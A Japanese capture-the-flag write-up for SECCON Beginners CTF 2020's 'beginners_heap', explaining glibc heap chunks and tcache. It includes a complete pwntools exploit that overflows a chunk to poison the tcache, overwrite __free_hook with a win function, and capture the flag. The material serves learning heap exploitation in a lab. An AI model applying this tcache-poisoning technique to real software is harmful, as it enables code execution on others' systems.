初めてのヒープ問(tcache poisoning)

SECCON Beginners CTF 2020の「beginners_heap」。

サイズの改ざんとtcacheの汚染。

※1 mallocは0x10倍に切り詰めるから、例えばサイズ0x18なら0x20として取り扱う

※2 今回のプログラムでは2回続けてmallocできない

プログラムの動き

チャンクAは元から割り当てられていて、チャンクBを新しく割り当てたり解放したりできる:

1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> 4

-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x558c62488330
 [+] B = 0x558c62488350

                   +--------------------+
0x0000558c62488320 | 0x0000000000000000 |
                   +--------------------+
0x0000558c62488328 | 0x0000000000000021 |
                   +--------------------+
0x0000558c62488330 | 0x0000000000000000 | <-- A
                   +--------------------+
0x0000558c62488338 | 0x0000000000000000 |
                   +--------------------+
0x0000558c62488340 | 0x0000000000000000 |
                   +--------------------+
0x0000558c62488348 | 0x0000000000000021 |
                   +--------------------+
0x0000558c62488350 | 0x0000000a62626262 | <-- B
                   +--------------------+
0x0000558c62488358 | 0x0000000000000000 |
                   +--------------------+
0x0000558c62488360 | 0x0000000000000000 |
                   +--------------------+
0x0000558c62488368 | 0x0000000000020ca1 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

<-- Bの上にある0x0000000000000021はチャンクBのサイズ。「1」が経っているので、prev_inuseということ(詳しくは後述)。

>>> bin(0x0000000000000021)
'0b100001'

Bをfreeした後のtcacheの様子:

> 3
1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> 5
-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[ 0x0000558c62488350(rw-) ]
        ||
        \/
[      END OF TCACHE      ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=

ヒープチャンクの構造

sizeの下位1ビットがprev_inuseで、立っている即ち1なら前のチャンクが使用中0なら解放されてる。

malloc.cのソースコード

struct malloc_chunk {

  INTERNAL_SIZE_T      mchunk_prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      mchunk_size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

sizeの次の8バイトがfdであり、今回はそこの上書きをする。

※ 先にexploitを示して、その後に戦略の解説。

exploit

(実行速度が速いとうまく動かないので、適宜sleepを挟む)

#!/usr/bin/env python3
from pwn import *

def writeA(conn, data):
    conn.sendlineafter(b'> ', b'1')
    time.sleep(0.1)
    conn.send(data)

def mallocB(conn, data):
    conn.sendlineafter(b'> ', b'2')
    time.sleep(0.1)
    conn.send(data)

def freeB(conn):
    conn.sendlineafter(b'> ', b'3')

def attack(conn, **kwargs):
    # __free_hook's address and win's address
    conn.recvuntil(b'hook>: ')
    addr_free_hook = int(conn.recvuntil('\n')[:-1], 16)
    conn.recvuntil(b'win>: ')
    addr_win = int(conn.recvuntil('\n')[:-1], 16)

    mallocB(conn, b'temp')
    freeB(conn)

    payload = b'x' * 0x18
    payload += p64(0x30)
    payload += p64(addr_free_hook)
    writeA(conn, payload)

    mallocB(conn, b'temp')
    freeB(conn)

    mallocB(conn, p64(addr_win))
    freeB(conn)

def main():
    conn = remote('localhost', 9002)
    attack(conn)
    conn.interactive()

if __name__ == '__main__':
    main()

戦略

やることは「fd__free_hookのアドレスで上書きして、そこにwinのアドレスを書き込む。その後freeを実行する」ということ。

1回目のmalloc

mallocB(conn, b'temp')
freeB(conn)

これでtcacheは以下のようになる:

tcache[0x20] --> 0x0000558c62488350

その後チャンクAにpayloadを書き込んでheap overflowを実行する。チャンクの様子:

                   ...8<...
                   +--------------------+
0x0000558c62488330 | 0x0000000000000000 | <-- A
                   +--------------------+
0x0000558c62488338 | 0x0000000000000000 |
                   +--------------------+
0x0000558c62488340 | 0x0000000000000000 |
                   +--------------------+
0x0000558c62488348 | 0x0000000000000030 |
                   +--------------------+
0x0000558c62488350 | <addr_free_hook>   | <-- B
                   +--------------------+
                    ...8<...

2回目のmalloc

ここでのmallocはtcacheから持ってこない。なぜならばサイズが0x30だから。

また、freeするとサイズ0x30のtcacheに繋がれる:

tcache[0x30] --> B

3回目のmalloc

ここで普通に0x18即ちサイズ0x20のmallocをして、addr_winを割り当てれば、__free_hookwinのアドレスが書き込まれる。

なぜならばサイズ0x20のtcacheは

tcache[0x20] --> 0x0000558c62488350

となっており、0x0000558c62488350には__free_hookが入ってるから。

実行するとフラグゲット:

shoebill@pwner:~$ ./exploit.py 
[+] Opening connection to localhost on port 9002: Done
[*] Switching to interactive mode
1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> Congratulations!
ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}
[*] Got EOF while reading in interactive
$